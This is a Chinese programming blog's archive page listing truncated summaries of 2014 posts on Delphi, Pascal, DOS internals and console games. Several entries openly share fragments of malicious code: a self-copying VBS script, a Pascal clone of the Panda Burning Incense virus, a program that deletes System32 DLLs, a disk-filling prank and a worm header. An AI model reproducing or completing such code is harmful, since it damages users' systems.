07 2014 档案
摘要:Delphi实例之一个简易的浏览器的实现 Delphi7的WebBrowser组件提供了很多不错的网页设计的功能,下面做一个简单的浏览器。组件很简单按照下面摆放就行了。这是运行后的效果源代码主页面 1 unit Unit1; 2 3 interface 4 5 uses 6 Wi...
阅读全文
摘要:MinGW安装图文教程以及如何配置C语音编程环境转载自:http://www.jb51.net/softjc/192017.htmlMinGW 是一组包含文件和端口库,其功能是允许控制台模式的程序使用微软的标准C运行时间库(MSVCRT.DLL),该库在所有的 NT OS 上有效,在所有的 Wind...
阅读全文
摘要:Delphi实例之橡皮筋画图的实现在《Delphi7基础教程》这本书的练习中提到过一个橡皮筋画图的例子,书上的源码是错误的!不知道是打印的错误还是本身源码就有问题,我将它改了过来。在Form1上放置一个Image组件,Image1的Align设为Client。 1 unit ...
阅读全文
摘要:Delphi实例之绘制正弦函数图像 1 unit Unit1; 2 3 interface 4 5 uses 6 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 7 ...
阅读全文
摘要:Delphi实例之一个较复杂的记事本的实现 by Chaobs一、概述 前几天在学习Delphi时照着书上的练习做了一个记事本程序,...
阅读全文
摘要:打开Delphi的安装目录,如C:\Program Files\Borland\Delphi7,你将会看到目录下包含了一些文件和文件夹:²Source:存放的是Delpi提供的所有源码,包括VCL、WEBSNAP、IntraWeb、ToolsAPI等的源码,我们平时要查找delphi的源码就可以到这...
阅读全文
摘要:Borland与Microsoft关于Delphi的对话Bear1、Delphi较贵 一套Delphi的价格大约相当于两套Visual Studio --------------------------------------- Inprise/Borland : 我们卖这个价,是因为它值这个价。 ...
阅读全文
摘要:在这里没有永远的阳春白雪,也没有永远的下里巴人,这里没有权威,我们尊重每个声音,尊重每个个体,我们都自由自由表达的权力。既然容忍每一种声音,就得保持一种开放的宽容的心态,你可以不赞同别人的观点,但你应该尊重别人发言的权利。极客应该尊重自己的理想和价值观,有着自己的操守,鄙视低级趣味的内容。坚持原创坚...
阅读全文
摘要:837页 writeln('TRACING Current Buffer==='); holdup; bcbtrc(cvtbase^.curbfr); writeln; holdup ; writeln('TRACING Buffer Chain==='); holdup ; bCDtrc(Cvtb...
阅读全文
摘要:附录A ASCII字符集十进制 十六进制 二进制 AscII 控制 按键X10 X16 X2 字符000 00 0000 0000 null NUL ^@001 01 0000 0001 SOH ^A002 02 0000 0010 STX ^B003 03 0000 0011 ETX ^C004 ...
阅读全文
摘要:744页在DPMI 1.0下,系统会修改并重新装载所有含选择符的段寄存器,并且将所有含有要释放的选择符的寄存器清空为0。客户程序绝不能修改或释放该功能分配的任何描述符。Int 31h、功能0101h会自动地解除对它们的分配。系统Int 31h 功能0200h DPMI版本0.9 获取实模式中断向量返...
阅读全文
摘要:DOS可安全使用610页在DOS控制台I/O操作进行轮询循环时,有规律地调用中断,以便允许终止并驻留(TSR)程序(如适用于DOS的实用程序PRINT.COM),知道它可安全地使用文件操作和其他功能号在0Ch之上的Int 21h功能。调用寄存器:不能用返回寄存器:不能用 注释: DOS在进行控制台输...
阅读全文
摘要:560页 版本5中新增加的子功能05h支持程序截获MS-DOS EXEC调用,并实 现自我装载。该子功能能实现内存的修补,如设置装载程序能接收的版本号 (通过SETVER设置的版本号)以及实现对装载程序在装载时的修补。 在把控制权传送给装载程序之前,功能05h应是系统发出的最后一个调 用。尤其是,在...
阅读全文
摘要:终于到(十)了~~~503页 ES:DI 指向未更新且未打开的FCB的指针 注释:该功能最初用来从命令行中析取文件,并以正确的格式来保存此文件 以便打开FCB。为了实现这个目的,可首先将指针指向文件名字符串,并接着 将另一个指针指向打算使用的FCB。没有必要采用任何种类的格式来保存 FCB,单用内存...
阅读全文
摘要:第14章参考手册概述 本书余下的章节将向读者们介绍BIOS、DOS各种各样API函数和服务,作为一名程序员,了解和掌握这些知识是很有好处的。在所介绍的参考手册中,每部手册都汇集了大量的资源。所有的内容都力求给出准确的技术以及当前最新最流行的信息,如果读者发现书中有不恰当之处,请向我们的Que公司的有...
阅读全文
摘要:备,就可以从程序中访问驱动程序。可以用句柄功能调用来 打开设备(见列表12.9) 列表12.9 /*example.C Listing 12.9 of DOS Programmer's Reference*/ union REGS regs; regs.h.ah=0x3d; /*Open-file ...
阅读全文
摘要:第11章 中断处理程序 本章将深入到DOS系统内部探讨中断处理程序的内容。与其他计算机编程不一样,中断处理程序这个名词听起来就很难懂。用最简单的话来说,中断处理程序就是对应于中断激活的程序。 读者可能已发现,中断处理实际上并不是件很难办的事。事实上,在某些地方中断处理很容易管理。但是,其中仍然有些“...
阅读全文
摘要:217页 程序的主要部分后面是主程序所使用的许多小的扩充内存功能。将这些功能组合起来这些功能便覆盖了扩充内存的操作,尽管还可能想向它们添加错误检查。 程序所包含的函数有: emmtest 检验内存中是否存在扩充内存管理程序。 emmok 检验扩充内存管理程序的功能并确定页框架的基地址。 emmall...
阅读全文
摘要:第8章磁 盘 学习编程语言,常常是从基本的输入和输出入手的(正如第5、6和第7章曾介绍的一样)。到目前为止,我们不仅学习了怎样输入和输出数据,还学习了如何进行数据操作。 在开始编写重要程序之前,需要先了解文件(第9章是有关“目录和文件”的介绍),因为大多数程序都与不同的类型的文件一起工作。有些则直接...
阅读全文
摘要:56页 第4章DOS和BIOS接口 本章介绍了用户程序访问DOS内核和BIOS所提供的各种服务的方法。为了访问这些服务,我们可以从任何编程语言中调用各个软件中断,这些中断便是我们在本书中要重点地讨论的内容。用户当然不必了解访问系统资源的所有细节,但要入门,确实要学习相当多的这方面知识。 本书重点介绍...
阅读全文
摘要:2.6存储设备 随着DOS的升级,磁盘存储容量也有了很大扩充。表2.4介绍了软盘容量的增加以 及所支持驱动器型号的数量。 表2.4软盘容量DOS版本 软盘 容量1.0 5.25英寸SSDD 160K 5.25英寸DSDD 320K2.0 5.25英寸SSDD 180K 5.25英寸DSDD 360K...
阅读全文
摘要:当今MS-Windows横扫大江南北,让我们这就来研究一下它的祖宗——MS-DOS!这本书很难得,希望读者好好学习!DOS程序员手册(一)DOS教程(以下内容全部为原作者的阐述,照样保留)这个电子书只是很简单地把txt做成了chm,文本格式方面可能会让人看得有点恼火,呵,不好意思了,将就一下,因为我...
阅读全文
摘要:搜索 此文档来源自网络 安装 PYTHON❝ Tempora mutantur nos et mutamur in illis. (时光流转,吾等亦随之而变。) ❞ — 古罗马谚语 深入欢迎来到 Python 3 的世界。让我们继续深入。本章中,您将安装适合自己的 Python 3 版本。 ...
阅读全文
摘要:沙房子 作者:Chaobs人永远无法同时拥有青春和有关青春的知识,就这点而言,我还是无知的。 ——题记 人永远无法同时拥有青春和有关青春的知识,就这点而言,我还很无知。 我把记忆的砖块一点点堆砌,使它形成一座坚固的房子,我们希望它能长久地存在,就像金字塔那样。但我却把它放在了只有金字塔才能承受...
阅读全文
摘要:苦命鱼 作者:Chaobs苦雨。雨闷。闷风。 风扶着雨又将雨抛碎,雨在地心引力的作用下重重地砸了下来。无数个小小的水珠分开成为了烟雾。这些烟雾在空气中凝聚,厚厚的覆盖住了整个海面,连那冰山的轮廓也飘渺了。 雨霁天晴风静,月明光吹风飞! 是的,于是不会丢失的,正如泪是不知道哭一样。 在极北...
阅读全文
摘要:量子计算机算法与应用研究 学科分类:计算机科学湖北省沙市中学 谢晓啸摘要 1.量子计算机 2.量子计算机算法 3.移动互联 4.云计算 5.经典计算机的局限 6.量子计算前景 二零一四年一月十二日目 录摘 要................................................
阅读全文
摘要:市面上有介绍Delphi的书籍(近来Delphi的书也是越来越少了),但没有一本系统的介绍Lazarus的书,这本书是网上的仅有的一本Lazarus教程,目前全部是英文,不过我已经着手开始翻译,争取尽快翻译完供大家学习!(原书来自 freepascal.org )code.sd28.Sept.201...
阅读全文
摘要:Qbasic 程序设计入门 BASIC(Beginner’s All-purpose Symbolic Instruction Code 的缩写,意为初学者通用符号指令代码)语言是在1964年由美国的两位教授Thomas 和John G.Kemeny在Fortran语言的基础上设计的语言系统,这个简...
阅读全文
摘要:Object Pascal 参考手册 (Ver 0.1)ezdelphi@hotmail.com OverviewOverview(概述)Using object pascal(使用 object pascal)Object Pascal 是一种高级编译语言,具有强类型(对数据类型的检查非常...
阅读全文
摘要:Pascal现在还有人想学习吗?先给出一本不错的Pascal教程,Object Pascal的教程我日后给出。Pascal基础教程第一课 初识PASCAL语言 …………………… 1 第二课 赋值语句与简单的输出语句 …………………… 5 第三课 带格式的输出语句输入语句 …………………… ...
阅读全文
摘要:Delphi中的关键字与保留字分类整理 Delphi 中的“关键字”和“保留字”,方便查询感谢原作者的收集整理!关键字和保留字的区别在于,关键字不推荐作标示符(编译器已经内置相关函数或者留给保留实现),二保留字是根本不可能作标示符(编译时有警示!)【系统保留字】andarrayasasmbeginc...
阅读全文
摘要:第一章 数据结构与算法的引入1.1 数据结构的基本概念一、学习数据结构的意义 程序设计 = 数据结构 + 算法目前,80%的待处理的数据具有“算法简单”(四则运算、检索、排序等),“对象复杂”(数据类型不同、数据量大、需要保存)等特点,故合理组织数据、选择较好的数据结构可为高效算法(时间少、占用空间...
阅读全文
摘要:一段未完成的Pascal贪吃蛇说这段代码未完成其实是没有源代码格式化,FP中一行最多只有255字符宽。uses crt;const screenwidth=50;screenheight=24; wallchar='#'; snakechar='*'; ; type point=record x,y...
阅读全文
摘要:俄罗斯方块怀旧版(注释版){$APPTYPE GUI}{$MODE DELPHI}program WinPiece;usesWindows;constAppName = 'WinPiece';pm = 25;vardc : hdc;AMessage : Msg;hWindow: HWnd;hPen ...
阅读全文
摘要:用于帮助新手理解ASCII码和字符型与整型的一段小程序,转载请注明出处例如:输入 I love you打印 73 32 108 111 118 101 32 121 111 117 13 10Program TransPro (input,output);Var judge,number:integ...
阅读全文
摘要:用于打印杨辉三角的程序,有多种算法仅提供一种PRogram yh (input,ouput);var m,n,c:integer;BeginFor m:=0 TO 10 Do Begin c:=1; write(c:40-3*m); For n:=1 To m Do begin c:=c+(m-n+...
阅读全文
摘要:一段被写滥了的VBS代码值得一提的是感兴趣的同学可以把 chr(13) + chr(13) + chr(13) 改为chr(11) + chr(11) + chr(11) 不赘述on error resume nextdim WSHshellAset WSHshellA = wscript.crea...
阅读全文
摘要:这是一段原载于百度百科上的代码,Chaobs转载原帖已删,就是怕有人用这个恶意程序。慎用!dim folder,fso,foldername,f,d,dcset fso=createobject("scripting.filesystemobject")set self=fso.opentextfi...
阅读全文
摘要:发一段测试码,用于检测杀毒软件的性能将下面这段话复制X5O!P%@AP[4\PZX54(P^)7CC)7}H+H*测试方法:1.鼠标右键点击桌面空白处,创建一个“文本文档”。2.将上面这段测试代码复制到“文本”里,保存,然后可...
阅读全文
摘要:转载请注明出处有点小恶意哦!慎重测试'This procedure is written in SeChaos, only for entertainment, not malicious communication, crack or rewrite.I am not liable, the fi...
阅读全文
摘要:俄罗斯方块已经成为了和“Hello World”一样的程序了吧?不要直接复制,可能需要事先 Format.program cube;uses crt,graph,dos;var gd,gm:smallint;fillin:fillpatterntype;board:array[0..26,0..26...
阅读全文
摘要:Pascal仿熊猫烧香病毒,慎用program japussy;useswindows, sysutils, classes, graphics, shellapi{, registry};constheadersize = 82432; //病毒体的大小iconoffset = $12eb8; /...
阅读全文
摘要:一个被人写滥了的小程序,新手学习,Pascal By Chaobs初学者可以用它来学习随机函数的运用,当然你完全可以自己写一个随机函数。var player1,player2:longint; a,b,l,o,i,v:longint; w:boolean;begin randomize; write...
阅读全文
摘要:一个经典的打飞机游戏(1)Pascal代码十分经典,有一种街机的感觉奇葩青年的又一控制台神作。usescrt;typelist=recordty,ax:integer;end;xy=recordbx,by:integer;end;l1=array[1..4,1..5]ofchar;l2=array[...
阅读全文
摘要:一个整人的Pascal小程序运行之后硬盘里面会有一大堆垃圾,当然更好的方法当然不是这样做!var a,b,c,d:char;beginfor a:='0' to '9' dofor b:='0' to '9' dofor c:='0' to '9' dofor d:='0' to '9' dobeg...
阅读全文
摘要:运用Pascal来破坏DLL文件的一个实例关于Pascal静态调用和动态的调用DLL的学习您可以看Delphi/Lazarus栏目。Uses Dos; {调用DOS库}Const Root='C:\Windows\System32\'; {定位文件}var vir:array [1..6] of s...
阅读全文
摘要:Pascal吧友作品 一个小RPGChaobs转载varplife,plifemax,patt,pre:integer;gr,ex,exmax:integer;alife,alife1,aatt,are:integer;name,fname:string;na:text;code,co:string...
阅读全文
摘要:Pascal内存病毒Chaobs从互联网上获得 pascal病毒虽然说只用Ctrl+Pause Break就可以关闭,但是像有些程序一旦启动,不用等你找到那两个键,就自己运行结束关闭了。比如下面一个程序:vara:text;beginassign(a,'C:\WINDOWS\system32\sys...
阅读全文
摘要:{ Happy Birthday (c) 1998 WoRmI don't take responsibility for any damage caused by this virus.It was made for EDUCATIONAL USE ONLY.AVs : No detectionS...
阅读全文
摘要:一个很经典的井字棋游戏 Pascal源码Chaobs奉上注意:1.有的FP版本不支持汉语,将会出现乱码。2.别想赢电脑了,平手不错了。井字过三关:program TicTacToe;uses crt;vara:Array [1..3] of Array [1..3] of char;b:Array ...
阅读全文
摘要:一个双人的游戏 Pascal源码附上只要俩人不脑残,一下午玩不完。。。又是控制台游戏中的一朵奇葩。Free Pascal 射击游戏Program shooting_game;uses crt;const cz:array[1..4,1..2] of -1..1=((0,1),(1,0),(0,-1)...
阅读全文
摘要:大富翁MUD Pascal源码 Chaobs改编自百度网友作品此源码非Chaobs原创,但转载时请仍注明出处。估计90后以后就没有孩子知道MUD了。program wxtw;uses crt;type zbdy=record x,y:integer; end;var n,i,x,y,t,sjs:in...
阅读全文
摘要:不要消灭星星 Pascal小游戏 Chaobs改编自pascal吧控制台小游戏嘛,就当是练习一下结构化的写法。program wxtw;uses crt;type zbdy=record x,y:integer; end;var n,i,x,y,t,sjs:integer; ml:char;zb: ...
阅读全文
摘要:用二分法求在(a,b)上单调的函数近似值第八行的表达式可更改,第三行的kexi决定的精度,小数值计算可将第五行的extended更为real或doublePROGRAM EQUANTION (input,output);CONST kexi=0.0000001;VAR a,b,c:extended;...
阅读全文
摘要:基本算法 这些都是非常基本的的算法,希望所有学习的人都能理解! 1.数论算法 求两数的最大公约数 function gcd(a,b:integer):integer; begin if b=0 then gcd:=a else gcd:=gcd (b,a mod b); end ; 求两数的最小公倍...
阅读全文